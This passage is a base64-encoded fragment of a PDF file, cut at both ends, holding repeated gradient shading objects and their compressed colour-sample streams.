MC9TaXplWyA1MTFdIC9EZWNvZGVbIDAgMSAwIDEgMCAxXSAvUmFuZ2VbIDAgMSAwIDEgMCAxXSAv Qml0c1BlclNhbXBsZSA4L0RvbWFpblsgMCAxXSAvRW5jb2RlWyAwIDUxMF0gL09yZGVyIDEvRmls dGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCA3NzI+Pg0Kc3RyZWFtDQp4nH3U108UURQGcN99MDExRmLE iMSCIlYsRFRExYIFC6Jix4aiIPaGKIows7O9so2lWrGA0mFhYfuuf5HfPXcGNwJufi+bLXPvOd85 7e1TvNpk76fU2jatlrYP/2hO1PqxaRKP7BM0JnC3cJ/BpXAyX8DRLLMzHdDANXXYmK9gJZamb5zZ w5g838GoMDT+0Ct0TKfW3amRdandXRK4ulSunyASwfWr3snUMd3vnN214Oh+6+h5Q2ocPa/tvfDK 3lvN9L1s6Kti+l809D8nz2wDT20DT8hj2+Aj6+BD8sA6dN86dM8yVMkM37UMV1iGyy3ecrP3jtl7 2+wtM3tvmUZuklLTyA3T6HXj6DVy1ei7YvSVGH2XDb5LhrGLhrEL5Lx+7Jx+/Kx+vFg/foac1vlP 6fxFOv9Jnb9Q5z+hCxzXBo5pA0dJgTZwRBs8rAke0gQPaoL5muABTWg/2acO7VWH8tShPerwbnV4 lzqcC1J4pxTOkcI7pMh2KbJNimRLka0kC1SRLarIZlV0kyq6URXNVEU3kPWq6DoxulaMrhFjq8VY hhhbJcbSxdhKskKMpYmx5WSZGF8qxJcI8VQhvpikCPFFZKEQTxbiC8h8kiTE5wm/YW49M4fMJrMU M8kMBX878Sn/Mv8h/xP+h0nKI/jjkunp/BgpysFS6Zw4Lc7MD59Gd+GXSqc7ZtB9cWvcHRVYrxQk k+qDKqFWqBjqlqWUMZuqitqiwjlUbdQ8l+qPLqAXedQXdIe3Cf3Kp96hg+gjulmgNBddRq/R8ULq fhElAXngwSimnCAtyAwPD1KELCFRJZQuZIyHDalD9kqVKCKTZZRPpBRZRWIrKL2VDMszUo1s85Aj 7cg8Dz+mALPAhwLTUcWwecHUVNME8VGqUYYLU4ZZq6W5q2PkYcRU8vHko4qZlWh+NQwbZ8w1pluX MO+Y/Yk9wNcCXxETG4MvEJuM7Ra+ZOyyv1uILyVnwqZyy9gSS1xrHhlbepOXITZk4sKcvE7/s3un W9d8mU/5+gNdR5LQDQplbmRzdHJlYW0NCmVuZG9iag0KMzkgMCBvYmoNCjw8L1BhdHRlcm5UeXBl IDIvU2hhZGluZzw8L0NvbG9yU3BhY2UvRGV2aWNlUkdCL1NoYWRpbmdUeXBlIDIvQ29vcmRzWyAz MTQuNTUgODM1LjkyIDMxNC41NSA3OTIuMjddIC9FeHRlbmRbIHRydWUgdHJ1ZV0gL0Z1bmN0aW9u IDM4IDAgUj4+Pj4NCmVuZG9iag0KNDAgMCBvYmoNCjw8L0Z1bmN0aW9uVHlwZSAwL1NpemVbIDUx MV0gL0RlY29kZVsgMCAxIDAgMSAwIDFdIC9SYW5nZVsgMCAxIDAgMSAwIDFdIC9CaXRzUGVyU2Ft cGxlIDgvRG9tYWluWyAwIDFdIC9FbmNvZGVbIDAgNTEwXSAvT3JkZXIgMS9GaWx0ZXIvRmxhdGVE ZWNvZGUvTGVuZ3RoIDc3Mj4+DQpzdHJlYW0NCnicfdTXTxRRFAZw330wMTFGYsSIxIIiVixEVETF ggULomLHhqIg9oYoijCzs72yjaVasYDSYWFh+65/kd89dwY3Am5+L5stc+853znt7VO82mTvp9Ta Nq2Wtg//aE7U+rFpEo/sEzQmcLdwn8GlcDJfwNEsszMd0MA1ddiYr2AllqZvnNnDmDzfwagwNP7Q K3RMp9bdqZF1qd1dEri6VK6fIBLB9aveydQx3e+c3bXg6H7r6HlDahw9r+298MreW830vWzoq2L6 XzT0PyfPbANPbQNPyGPb4CPr4EPywDp03zp0zzJUyQzftQxXWIbLLd5ys/eO2Xvb7C0ze2+ZRm6S UtPIDdPodePoNXLV6Lti9JUYfZcNvkuGsYuGsQvkvH7snH78rH68WD9+hpzW+U/p/EU6/0mdv1Dn P6ELHNcGjmkDR0mBNnBEGzysCR7SBA9qgvma4AFNaD/Zpw7tVYfy1KE96vBudXiXOpwLUninFM6R wjukyHYpsk2KZEuRrSQLVJEtqshmVXSTKrpRFc1URTeQ9aroOjG6VoyuEWOrxViGGFslxtLF2Eqy QoylibHlZJkYXyrElwjxVCG+mKQI8UVkoRBPFuILyHySJMTnCb9hbj0zh8wmsxQzyQwFfzvxKf8y /yH/E/6HScoj+OOS6en8GCnKwVLpnDgtzswPn0Z34ZdKpztm0H1xa9wdFVivFCST6oMqoVaoGOqW pZQxm6qK2qLCOVRt1DyX6o8uoBd51Bd0h7cJ/cqn3qGD6CO6WaA0F11Gr9HxQup+ESUBeeDBKKac IC3IDA8PUoQsIVEllC5kjIcNqUP2SpUoIpNllE+kFFlFYisovZUMyzNSjWzzkCPtyDwPP6YAs8CH AtNRxbB5wdRU0wTxUapRhgtThlmrpbmrY+RhxFTy8eSjipmVaH41DBtnzDWmW5cw75j9iT3A1wJf ERMbgy8Qm4ztFr5k7LK/W4gvJWfCpnLL2BJLXGseGVt6k5chNmTiwpy8Tv+ze6db13yZT/n6A11H ktANCmVuZHN0cmVhbQ0KZW5kb2JqDQo0MSAwIG9iag0KPDwvUGF0dGVyblR5cGUgMi9TaGFkaW5n PDwvQ29sb3JTcGFjZS9EZXZpY2VSR0IvU2hhZGluZ1R5cGUgMi9Db29yZHNbIDMxNC41NSA4MzUu OTIgMzE0LjU1IDc5Mi4yN10gL0V4dGVuZFsgdHJ1ZSB0cnVlXSAvRnVuY3Rpb24gNDAgMCBSPj4+ Pg0KZW5kb2JqDQo0MiAwIG9iag0KPDwvRnVuY3Rpb25UeXBlIDAvU2l6ZVsgNTExXSAvRGVjb2Rl WyAwIDEgMCAxIDAgMV0gL1JhbmdlWyAwIDEgMCAxIDAgMV0gL0JpdHNQZXJTYW1wbGUgOC9Eb21h aW5bIDAgMV0gL0VuY29kZVsgMCA1MTBdIC9PcmRlciAxL0ZpbHRlci9GbGF0ZURlY29kZS9MZW5n dGggNzcyPj4NCnN0cmVhbQ0KeJx91NdPFFEUBnDffTAxMUZixIjEgiJWLERURMWCBQuiYseGoiD2 hiiKMLOzvbKNpVqxgNJhYWH7rn+R3z13BjcCbn4vmy1z7znfOe3tU7zaZO+n1No2rZa2D/9oTtT6 sWkSj+wTNCZwt3CfwaVwMl/A0SyzMx3QwDV12JivYCWWpm+c2cOYPN/BqDA0/tArdEyn1t2pkXWp 3V0SuLpUrp8gEsH1q97J1DHd75zdteDofuvoeUNqHD2v7b3wyt5bzfS9bOirYvpfNPQ/J89sA09t A0/IY9vgI+vgQ/LAOnTfOnTPMlTJDN+1DFdYhsst3nKz947Ze9vsLTN7b5lGbpJS08gN0+h14+g1 ctXou2L0lRh9lw2+S4axi4axC+S8fuycfvysfrxYP36GnNb5T+n8RTr/SZ2/UOc/oQsc1waOaQNH SYE2cEQbPKwJHtIED2qC+ZrgAU1oP9mnDu1Vh/LUoT3q8G51eJc6nAtSeKcUzpHCO6TIdimyTYpk S5GtJAtUkS2qyGZVdJMqulEVzVRFN5D1qug6MbpWjK4RY6vFWIYYWyXG0sXYSrJCjKWJseVkmRhf KsSXCPFUIb6YpAjxRWShEE8W4gvIfJIkxOcJv2FuPTOHzCazFDPJDAV/O/Ep/zL/If8T/odJyiP4 45Lp6fwYKcrBUumcOC3OzA+fRnfhl0qnO2bQfXFr3B0VWK8UJJPqgyqhVqgY6pallDGbqoraosI5 VG3UPJfqjy6gF3nUF3SHtwn9yqfeoYPoI7pZoDQXXUav0fFC6n4RJQF54MEoppwgLcgMDw9ShCwh USWULmSMhw2pQ/ZKlSgik2WUT6QUWUViKyi9lQzLM1KNbPOQI+3IPA8/pgCzwIcC01HFsHnB1FTT BPFRqlGGC1OGWauluatj5GHEVPLx5KOKmZVofjUMG2fMNaZblzDvmP2JPcDXAl8RExuDLxCbjO0W vmTssr9biC8lZ8KmcsvYEktcax4ZW3qTlyE2ZOLCnLxO/7N7p1vXfJlP+foDXUeS0A0KZW5kc3Ry ZWFtDQplbmRvYmoNCjQzIDAgb2JqDQo8PC9QYXR0ZXJuVHlwZSAyL1NoYWRpbmc8PC9Db2xvclNw YWNlL0RldmljZVJHQi9TaGFkaW5nVHlwZSAyL0Nvb3Jkc1sgMzE0LjU1IDgzNS45MiAzMTQuNTUg NzkyLjI3XSAvRXh0ZW5kWyB0cnVlIHRydWVdIC9GdW5jdGlvbiA0MiAwIFI+Pj4+DQplbmRvYmoN CjQ0IDAgb2JqDQo8PC9GdW5jdGlvblR5cGUgMC9TaXplWyA1MTFdIC9EZWNvZGVbIDAgMSAwIDEg MCAxXSAvUmFuZ2VbIDAgMSAwIDEgMCAxXSAvQml0c1BlclNhbXBsZSA4L0RvbWFpblsgMCAxXSAv RW5jb2RlWyAwIDUxMF0gL09yZGVyIDEvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCA3NzI+Pg0K c3RyZWFtDQp4nH3U108UURQGcN99MDExRmLEiMSCIlYsRFRExYIFC6Jix4aiIPaGKIows7O9so2l WrGA0mFhYfuuf5HfPXcGNwJufi+bLXPvOd857e1TvNpk76fU2jatlrYP/2hO1PqxaRKP7BM0JnC3 cJ/BpXAyX8DRLLMzHdDANXXYmK9gJZamb5zZw5g838GoMDT+0Ct0TKfW3amRdandXRK4ulSunyAS wfWr3snUMd3vnN214Oh+6+h5Q2ocPa/tvfDK3lvN9L1s6Kti+l809D8nz2wDT20DT8hj2+Aj6+BD 8sA6dN86dM8yVMkM37UMV1iGyy3ecrP3jtl72+wtM3tvmUZuklLTyA3T6HXj6DVy1ei7YvSVGH2X Db5LhrGLhrEL5Lx+7Jx+/Kx+vFg/foac1vlP6fxFOv9Jnb9Q5z+hCxzXBo5pA0dJgTZwRBs8rAke 0gQPaoL5muABTWg/2acO7VWH8tShPerwbnV4lzqcC1J4pxTOkcI7pMh2KbJNimRLka0kC1SRLarI ZlV0kyq6URXNVEU3kPWq6DoxulaMrhFjq8VYhhhbJcbSxdhKskKMpYmx5WSZGF8qxJcI8VQhvpik CPFFZKEQTxbiC8h8kiTE5wm/YW49M4fMJrMUM8kMBX878Sn/Mv8h/xP+h0nKI/jjkunp/BgpysFS 6Zw4Lc7MD59Gd+GXSqc7ZtB9cWvcHRVYrxQkk+qDKqFWqBjqlqWUMZuqitqiwjlUbdQ8l+qPLqAX edQXdIe3Cf3Kp96hg+gjulmgNBddRq/R8ULqfhElAXngwSimnCAtyAwPD1KELCFRJZQuZIyHDalD 9kqVKCKTZZRPpBRZRWIrKL2VDMszUo1s85Aj7cg8Dz+mALPAhwLTUcWwecHUVNME8VGqUYYLU4ZZ q6W5q2PkYcRU8vHko4qZlWh+NQwbZ8w1pluXMO+Y/Yk9wNcCXxETG4MvEJuM7Ra+ZOyyv1uILyVn wqZyy9gSS1xrHhlbepOXITZk4sKcvE7/s3unW9d8mU/5+gNdR5LQDQplbmRzdHJlYW0NCmVuZG9i ag0KNDUgMCBvYmoNCjw8L1BhdHRlcm5UeXBlIDIvU2hhZGluZzw8L0NvbG9yU3BhY2UvRGV2aWNl UkdCL1NoYWRpbmdUeXBlIDIvQ29vcmRzWyAzMTQuNTUgODM1LjkyIDMxNC41NSA3OTIuMjddIC9F eHRlbmRbIHRydWUgdHJ1ZV0gL0Z1bmN0aW9uIDQ0IDAgUj4+Pj4NCmVuZG9iag0KNDYgMCBvYmoN Cjw8L0Z1bmN0aW9uVHlwZSAwL1NpemVbIDUxMV0gL0RlY29kZVsgMCAxIDAgMSAwIDFdIC9SYW5n ZVsgMCAxIDAgMSAwIDFdIC9CaXRzUGVyU2FtcGxlIDgvRG9tYWluWyAwIDFdIC9FbmNvZGVbIDAg NTEwXSAvT3JkZXIgMS9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDc3Mj4+DQpzdHJlYW0NCnic fdTXTxRRFAZw330wMTFGYsSIxIIiVixEVETFggULomLHhqIg9oYoijCzs72yjaVasYDSYWFh+65/ kd89dwY3Am5+L5stc+853znt7VO82mTvp9TaNq2Wtg//aE7U+rFpEo/sEzQmcLdwn8GlcDJfwNEs szMd0MA1ddiYr2AllqZvnNnDmDzfwagwNP7QK3RMp9bdqZF1qd1dEri6VK6fIBLB9aveydQx3e+c 3bXg6H7r6HlDahw9r+298MreW830vWzoq2L6XzT0PyfPbANPbQNPyGPb4CPr4EPywDp03zp0zzJU yQzftQxXWIbLLd5ys/eO2Xvb7C0ze2+ZRm6SUtPIDdPodePoNXLV6Lti9JUYfZcNvkuGsYuGsQvk vH7snH78rH68WD9+hpzW+U/p/EU6/0mdv1DnP6ELHNcGjmkDR0mBNnBEGzysCR7SBA9qgvma4AFN aD/Zpw7tVYfy1KE96vBudXiXOpwLUninFM6RwjukyHYpsk2KZEuRrSQLVJEtqshmVXSTKrpRFc1U RTeQ9aroOjG6VoyuEWOrxViGGFslxtLF2EqyQoylibHlZJkYXyrElwjxVCG+mKQI8UVkoRBPFuIL yHySJMTnCb9hbj0zh8wmsxQzyQwFfzvxKf8y/yH/E/6HScoj+OOS6en8GCnKwVLpnDgtzswPn0Z3 4ZdKpztm0H1xa9wdFVivFCST6oMqoVaoGOqWpZQxm6qK2qLCOVRt1DyX6o8uoBd51Bd0h7cJ/cqn 3qGD6CO6WaA0F11Gr9HxQup+ESUBeeDBKKacIC3IDA8PUoQsIVEllC5kjIcNqUP2SpUoIpNllE+k FFlFYisovZUMyzNSjWzzkCPtyDwPP6YAs8CHAtNRxbB5wdRU0wTxUapRhgtThlmrpbmrY+RhxFTy 8eSjipmVaH41DBtnzDWmW5cw75j9iT3A1wJfERMbgy8Qm4ztFr5k7LK/W4gvJWfCpnLL2BJLXGse GVt6k5chNmTiwpy8Tv+ze6db13yZT/n6A11HktANCmVuZHN0cmVhbQ0KZW5kb2JqDQo0NyAwIG9i ag0KPDwvUGF0dGVyblR5cGUgMi9TaGFkaW5nPDwvQ29sb3JTcGFjZS9EZXZpY2VSR0IvU2hhZGlu Z1R5cGUgMi9Db29yZHNbIDMxNC41NSA4MzUuOTIgMzE0LjU1IDc5Mi4yN10gL0V4dGVuZFsgdHJ1 ZSB0cnVlXSAvRnVuY3Rpb24gNDYgMCBSPj4+Pg0KZW5kb2JqDQo0OCAwIG9iag0KPDwvRnVuY3Rp b25UeXBlIDAvU2l6ZVsgNTExXSAvRGVjb2RlWyAwIDEgMCAxIDAgMV0gL1JhbmdlWyAwIDEgMCAx IDAgMV0gL0JpdHNQZXJTYW1wbGUgOC9Eb21haW5bIDAgMV0gL0VuY29kZVsgMCA1MTBdIC9PcmRl ciAxL0ZpbHRlci9GbGF0ZURlY29kZS9MZW5ndGggNzcyPj4NCnN0cmVhbQ0KeJx91NdPFFEUBnDf fTAxMUZixIjEgiJWLERURMWCBQuiYseGoiD2hiiKMLOzvbKNpVqxgNJhYWH7rn+R3z13BjcCbn4v my1z7znfOe3tU7zaZO+n1No2rZa2D/9oTtT6sWkSj+wTNCZwt3CfwaVwMl/A0SyzMx3QwDV12Jiv YCWWpm+c2cOYPN/BqDA0/tArdEyn1t2pkXWp3V0SuLpUrp8gEsH1q97J1DHd75zdteDofuvoeUNq HD2v7b3wyt5bzfS9bOirYvpfNPQ/J89sA09tA0/IY9vgI+vgQ/LAOnTfOnTPMlTJDN+1DFdYhsst 3nKz947Ze9vsLTN7b5lGbpJS08gN0+h14+g1ctXou2L0lRh9lw2+S4axi4axC+S8fuycfvysfrxY P36GnNb5T+n8RTr/SZ2/UOc/oQsc1waOaQNHSYE2cEQbPKwJHtIED2qC+ZrgAU1oP9mnDu1Vh/LU oT3q8G51eJc6nAtSeKcUzpHCO6TIdimyTYpkS5GtJAtUkS2qyGZVdJMqulEVzVRFN5D1qug6MbpW jK4RY6vFWIYYWyXG0sXYSrJCjKWJseVkmRhfKsSXCPFUIb6YpAjxRWShEE8W4gvIfJIkxOcJv2Fu PTOHzCazFDPJDAV/O/Ep/zL/If8T/odJyiP445Lp6fwYKcrBUumcOC3OzA+fRnfhl0qnO2bQfXFr 3B0VWK8UJJPqgyqhVqgY6pallDGbqoraosI5VG3UPJfqjy6gF3nUF3SHtwn9yqfeoYPoI7pZoDQX XUav0fFC6n4RJQF54MEoppwgLcgMDw9ShCwhUSWULmSMhw2pQ/ZKlSgik2WUT6QUWUViKyi9lQzL M1KNbPOQI+3IPA8/pgCzwIcC01HFsHnB1FTTBPFRqlGGC1OGWauluatj5GHEVPLx5KOKmZVofjUM G2fMNaZblzDvmP2JPcDXAl8RExuDLxCbjO0WvmTssr9biC8lZ8KmcsvYEktcax4ZW3qTlyE2ZOLC nLxO/7N7p1vXfJlP+foDXUeS0A0KZW5kc3RyZWFtDQplbmRvYmoNCjQ5IDAgb2JqDQo8PC9QYXR0 ZXJuVHlwZSAyL1NoYWRpbmc8PC9Db2xvclNwYWNlL0RldmljZVJHQi9TaGFkaW5nVHlwZSAyL0Nv b3Jkc1sgMzE0LjU1IDgzNS45MiAzMTQuNTUgNzkyLjI3XSAvRXh0ZW5kWyB0cnVlIHRydWVdIC9G dW5jdGlvbiA0OCAwIFI+Pj4+DQplbmRvYmoNCjUwIDAgb2JqDQo8PC9GdW5jdGlvblR5cGUgMC9T aXplWyA1MTFdIC9EZWNvZGVbIDAgMSAwIDEgMCAxXSAvUmFuZ2VbIDAgMSAwIDEgMCAxXSAvQml0 c1BlclNhbXBsZSA4L0RvbWFpblsgMCAxXSAvRW5jb2RlWyAwIDUxMF0gL09yZGVyIDEvRmlsdGVy L0ZsYXRlRGVjb2RlL0xlbmd0aCA3NzI+Pg0Kc3RyZWFtDQp4nH3U108UURQGcN99MDExRmLEiMSC IlYsRFRExYIFC6Jix4aiIPaGKIows7O9so2lWrGA0mFhYfuuf5HfPXcGNwJufi+bLXPvOd857e1T vNpk76fU2jatlrYP/2hO1PqxaRKP7BM0JnC3cJ/BpXAyX8DRLLMzHdDANXXYmK9gJZamb5zZw5g8 38GoMDT+0Ct0TKfW3amRdandXRK4ulSunyASwfWr3snUMd3vnN214Oh+6+h5Q2ocPa/tvfDK3lvN 9L1s6Kti+l809D8nz2wDT20DT8hj2+Aj6+BD8sA6dN86dM8yVMkM37UMV1iGyy3ecrP3jtl72+wt M3tvmUZuklLTyA3T6HXj6DVy1ei7YvSVGH2XDb5LhrGLhrEL5Lx+7Jx+/Kx+vFg/foac1vlP6fxF Ov9Jnb9Q5z+hCxzXBo5pA0dJgTZwRBs8rAke0gQPaoL5muABTWg/2acO7VWH8tShPerwbnV4lzqc C1J4pxTOkcI7pMh2KbJNimRLka0kC1SRLarIZlV0kyq6URXNVEU3kPWq6DoxulaMrhFjq8VYhhhb JcbSxdhKskKMpYmx5WSZGF8qxJcI8VQhvpikCPFFZKEQTxbiC8h8kiTE5wm/YW49M4fMJrMUM8kM BX878Sn/Mv8h/xP+h0nKI/jjkunp/BgpysFS6Zw4Lc7MD59Gd+GXSqc7ZtB9cWvcHRVYrxQkk+qD KqFWqBjqlqWUMZuqitqiwjlUbdQ8l+qPLqAXedQXdIe3Cf3Kp96hg+gjulmgNBddRq/R8ULqfhEl AXngwSimnCAtyAwPD1KELCFRJZQuZIyHDalD9kqVKCKTZZRPpBRZRWIrKL2VDMszUo1s85Aj7cg8 Dz+mALPAhwLTUcWwecHUVNME8VGqUYYLU4ZZq6W5q2PkYcRU8vHko4qZlWh+NQwbZ8w1pluXMO+Y /Yk9wNcCXxETG4MvEJuM7Ra+ZOyyv1uILyVnwqZyy9gSS1xrHhlbepOXITZk4sKcvE7/s3unW9d8 mU/5+gNdR5LQDQplbmRzdHJlYW0NCmVuZG9iag0KNTEgMCBvYmoNCjw8L1BhdHRlcm5UeXBlIDIv U2hhZGluZzw8L0NvbG9yU3BhY2UvRGV2aWNlUkdCL1NoYWRpbmdUeXBlIDIvQ29vcmRzWyAzMTQu NTUgODM1LjkyIDMxNC41NSA3OTIuMjddIC9FeHRlbmRbIHRydWUgdHJ1ZV0gL0Z1bmN0aW9uIDUw IDAgUj4+Pj4NCmVuZG9iag0KNTIgMCBvYmoNCjw8L0Z1bmN0aW9uVHlwZSAwL1NpemVbIDUxMV0g L0RlY29kZVsgMCAxIDAgMSAwIDFdIC9SYW5nZVsgMCAxIDAgMSAwIDFdIC9CaXRzUGVyU2FtcGxl IDgvRG9tYWluWyAwIDFdIC9FbmNvZGVbIDAgNTEwXSAvT3JkZXIgMS9GaWx0ZXIvRmxhdGVEZWNv ZGUvTGVuZ3RoIDc3Mj4+DQpzdHJlYW0NCnicfdTXTxRRFAZw330wMTFGYsSIxIIiVixEVETFggUL omLHhqIg9oYoijCzs72yjaVasYDSYWFh+65/kd89dwY3Am5+L5stc+853znt7VO82mTvp9TaNq2W tg//aE7U+rFpEo/sEzQmcLdwn8GlcDJfwNEsszMd0MA1ddiYr2AllqZvnNnDmDzfwagwNP7QK3RM p9bdqZF1qd1dEri6VK6fIBLB9aveydQx3e+c3bXg6H7r6HlDahw9r+298MreW830vWzoq2L6XzT0 PyfPbANPbQNPyGPb4CPr4EPywDp03zp0zzJUyQzftQxXWIbLLd5ys/eO2Xvb7C0ze2+ZRm6SUtPI DdPodePoNXLV6Lti9JUYfZcNvkuGsYuGsQvkvH7snH78rH68WD9+hpzW+U/p/EU6/0mdv1DnP6EL HNcGjmkDR0mBNnBEGzysCR7SBA9qgvma4AFNaD/Zpw7tVYfy1KE96vBudXiXOpwLUninFM6Rwjuk yHYpsk2KZEuRrSQLVJEtqshmVXSTKrpRFc1URTeQ9aroOjG6VoyuEWOrxViGGFslxtLF2EqyQoyl ibHlZJkYXyrElwjxVCG+mKQI8UVkoRBPFuILyHySJMTnCb9hbj0zh8wmsxQzyQwFfzvxKf8y/yH/ E/6HScoj+OOS6en8GCnKwVLpnDgtzswPn0Z34ZdKpztm0H1xa9wdFVivFCST6oMqoVaoGOqWpZQx m6qK2qLCOVRt1DyX6o8uoBd51Bd0h7cJ/cqn3qGD6CO6WaA0F11Gr9HxQup+ESUBeeDBKKacIC3I DA8PUoQsIVEllC5kjIcNqUP2SpUoIpNllE+kFFlFYisovZUMyzNSjWzzkCPtyDwPP6YAs8CHAtNR xbB5wdRU0wTxUapRhgtThlmrpbmrY+RhxFTy8eSjipmVaH41DBtnzDWmW5cw75j9iT3A1wJfERMb gy8Qm4ztFr5k7LK/W4gvJWfCpnLL2BJLXGseGVt6k5chNmTiwpy8Tv+ze6db13yZT/n6A11HktAN CmVuZHN0cmVhbQ0KZW5kb2JqDQo1MyAwIG9iag0KPDwvUGF0dGVyblR5cGUgMi9TaGFkaW5nPDwv Q29sb3JTcGFjZS9EZXZpY2VSR0IvU2hhZGluZ1R5cGUgMi9Db29yZHNbIDMxNC41NSA4MzUuOTIg MzE0LjU1IDc5Mi4yN10gL0V4dGVuZFsgdHJ1ZSB0cnVlXSAvRnVuY3Rpb24gNTIgMCBSPj4+Pg0K ZW5kb2JqDQo1NCAwIG9iag0KPDwvRnVuY3Rpb25UeXBlIDAvU2l6ZVsgNTExXSAvRGVjb2RlWyAw IDEgMCAxIDAgMV0gL1JhbmdlWyAwIDEgMCAxIDAgMV0gL0JpdHNQZXJTYW1wbGUgOC9Eb21haW5b IDAgMV0gL0VuY29kZVsgMCA1MTBdIC9PcmRlciAxL0ZpbHRlci9GbGF0ZURlY29kZS9MZW5ndGgg NzcyPj4NCnN0cmVhbQ0KeJx91NdPFFEUBnDffTAxMUZixIjEgiJWLERURMWCBQuiYseGoiD2hiiK MLOzvbKNpVqxgNJhYWH7rn+R3z13BjcCbn4vmy1z7znfOe3tU7zaZO+n1No2rZa2D/9oTtT6sWkS j+wTNCZwt3CfwaVwMl/A0SyzMx3QwDV12JivYCWWpm+c2cOYPN/BqDA0/tArdEyn1t2pkXWp3V0S uLpUrp8gEsH1q97J1DHd75zdteDofuvoeUNqHD2v7b3wyt5bzfS9bOirYvpfNPQ/J89sA09tA0/I Y9vgI+vgQ/LAOnTfOnTPMlTJDN+1DFdYhsst3nKz947Ze9vsLTN7b5lGbpJS08gN0+h14+g1ctXo u2L0lRh9lw2+S4axi4axC+S8fuycfvysfrxYP36GnNb5T+n8RTr/SZ2/UOc/oQsc1waOaQNHSYE2 cEQbPKwJHtIED2qC+ZrgAU1oP9mnDu1Vh/LUoT3q8G51eJc6nAtSeKcUzpHCO6TIdimyTYpkS5Gt JAtUkS2qyGZVdJMqulEVzVRFN5D1qug6MbpWjK4RY6vFWIYYWyXG0sXYSrJCjKWJseVkmRhfKsSX CPFUIb6YpAjxRWShEE8W4gvIfJIkxOcJv2FuPTOHzCazFDPJDAV/O/Ep/zL/If8T/odJyiP445Lp 6fwYKcrBUumcOC3OzA+fRnfhl0qnO2bQfXFr3B0VWK8UJJPqgyqhVqgY6pallDGbqoraosI5VG3U PJfqjy6gF3nUF3SHtwn9yqfeoYPoI7pZoDQXXUav0fFC6n4RJQF54MEoppwgLcgMDw9ShCwhUSWU LmSMhw2pQ/ZKlSgik2WUT6QUWUViKyi9lQzLM1KNbPOQI+3IPA8/pgCzwIcC01HFsHnB1FTTBPFR qlGGC1OGWauluatj5GHEVPLx5KOKmZVofjUMG2fMNaZblzDvmP2JPcDXAl8RExuDLxCbjO0WvmTs sr9biC8lZ8KmcsvYEktcax4ZW3qTlyE2ZOLCnLxO/7N7p1vXfJlP+foDXUeS0A0KZW5kc3RyZWFt DQplbmRvYmoNCjU1IDAgb2JqDQo8PC9QYXR0ZXJuVHlwZSAyL1NoYWRpbmc8PC9Db2xvclNwYWNl L0RldmljZVJHQi9TaGFkaW5nVHlwZSAyL0Nvb3Jkc1sgMzE0LjU1IDgzNS45MiAzMTQuNTUgNzky LjI3XSAvRXh0ZW5kWyB0cnVlIHRydWVdIC9GdW5jdGlvbiA1NCAwIFI+Pj4+DQplbmRvYmoNCjU2 IDAgb2JqDQo8PC9GdW5jdGlvblR5cGUgMC9TaXplWyA1MTFdIC9EZWNvZGVbIDAgMSAwIDEgMCAx XSAvUmFuZ2VbIDAgMSAwIDEgMCAxXSAvQml0c1BlclNhbXBsZSA4L0RvbWFpblsgMCAxXSAvRW5j b2RlWyAwIDUxMF0gL09yZGVyIDEvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCA3NzI+Pg0Kc3Ry ZWFtDQp4nH3U108UURQGcN99MDExRmLEiMSCIlYsRFRExYIFC6Jix4aiIPaGKIows7O9so2lWrGA 0mFhYfuuf5HfPXcGNwJufi+bLXPvOd857e1TvNpk76fU2jatlrYP/2hO1PqxaRKP7BM0JnC3cJ/B pXAyX8DRLLMzHdDANXXYmK9gJZamb5zZw5g838GoMDT+0Ct0TKfW3amRdandXRK4ulSunyASwfWr 3snUMd3vnN214Oh+6+h5Q2ocPa/tvfDK3lvN9L1s6Kti+l809D8nz2wDT20DT8hj2+Aj6+BD8sA6 dN86dM8yVMkM37UMV1iGyy3ecrP3jtl72+wtM3tvmUZuklLTyA3T6HXj6DVy1ei7YvSVGH2XDb5L hrGLhrEL5Lx+7Jx+/Kx+vFg/foac1vlP6fxFOv9Jnb9Q5z+hCxzXBo5pA0dJgTZwRBs8rAke0gQP aoL5muABTWg/2acO7VWH8tShPerwbnV4lzqcC1J4pxTOkcI7pMh2KbJNimRLka0kC1SRLarIZlV0 kyq6URXNVEU3kPWq6DoxulaMrhFjq8VYhhhbJcbSxdhKskKMpYmx5WSZGF8qxJcI8VQhvpikCPFF ZKEQTxbiC8h8kiTE5wm/YW49M4fMJrMUM8kMBX878Sn/Mv8h/xP+h0nKI/jjkunp/BgpysFS6Zw4 Lc7MD59Gd+GXSqc7ZtB9cWvcHRVYrxQkk+qDKqFWqBjqlqWUMZuqitqiwjlUbdQ8l+qPLqAXedQX dIe3Cf3Kp96hg+gjulmgNBddRq/R8ULqfhElAXngwSimnCAtyAwPD1KELCFRJZQuZIyHDalD9kqV KCKTZZRPpBRZRWIrKL2VDMszUo1s85Aj7cg8Dz+mALPAhwLTUcWwecHUVNME8VGqUYYLU4ZZq6W5 q2PkYcRU8vHko4qZlWh+NQwbZ8w1pluXMO+Y/Yk9wNcCXxETG4MvEJuM7Ra+ZOyyv1uILyVnwqZy y9gSS1xrHhlbepOXITZk4sKcvE7/s3unW9d8mU/5+gNdR5LQDQplbmRzdHJlYW0NCmVuZG9iag0K NTcgMCBvYmoNCjw8L1BhdHRlcm5UeXBlIDIvU2hhZGluZzw8L0NvbG9yU3BhY2UvRGV2aWNlUkdC L1NoYWRpbmdUeXBlIDIvQ29vcmRzWyAzMTQuNTUgODM1LjkyIDMxNC41NSA3OTIuMjddIC9FeHRl bmRbIHRydWUgdHJ1ZV0gL0Z1bmN0aW9uIDU2IDAgUj4+Pj4NCmVuZG9iag0KNTggMCBvYmoNCjw8 L0Z1bmN0aW9uVHlwZSAwL1NpemVbIDUxMV0gL0RlY29kZVsgMCAxIDAgMSAwIDFdIC9SYW5nZVsg MCAxIDAgMSAwIDFdIC9CaXRzUGVyU2FtcGxlIDgvRG9tYWluWyAwIDFdIC9FbmNvZGVbIDAgNTEw XSAvT3JkZXIgMS9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDc3Mj4+DQpzdHJlYW0NCnicfdTX TxRRFAZw330wMTFGYsSIxIIiVixEVETFggULomLHhqIg9oYoijCzs72yjaVasYDSYWFh+65/kd89 dwY3Am5+L5stc+853znt7VO82mTvp9TaNq2Wtg//aE7U+rFpEo/sEzQmcLdwn8GlcDJfwNEsszMd 0MA1ddiYr2AllqZvnNnDmDzfwagwNP7QK3RMp9bdqZF1qd1dEri6VK6fIBLB9aveydQx3e+c3bXg 